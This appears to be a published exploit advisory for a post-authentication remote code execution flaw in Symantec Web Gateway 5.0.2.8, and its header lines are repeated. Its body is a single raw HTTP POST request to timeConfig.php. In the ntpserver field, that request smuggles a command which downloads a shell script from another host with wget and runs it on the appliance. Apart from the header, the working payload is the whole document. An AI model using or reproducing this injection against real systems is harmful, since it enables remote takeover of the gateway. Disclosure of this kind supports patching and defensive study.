Symantec Web Gateway 5.0.2.8 Remote Code Execution

# Title: Postauth RCE in Symantec Web Gateway 5.0.2.8
# Date: 27.03.2020
# Vendor: www.symantec.com
# Vulnerable software: www.symantec.com
# Repo: https://github.com/c610/free/
# Date: 27.03.2020
# Vendor: www.symantec.com
# Vulnerable software: www.symantec.com
# Repo: https://github.com/c610/free/




POST /spywall/timeConfig.php HTTP/1.1
Host: 192.168.216.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
Origin: https://192.168.216.133
Connection: close
Referer: https://192.168.216.133/spywall/timeConfig.php
Cookie: PHPSESSID=8f076c1f7bac2b403cf39711fd301533
Upgrade-Insecure-Requests: 1

posttime=1585228657&saveForm=Save&timesync=1&ntpserver=qweqwe.com;$(wget%20http://192.168.1.170/a.sh%20-O%20/tmp/a.sh;sh%20/tmp/a.sh);#&timezone=5
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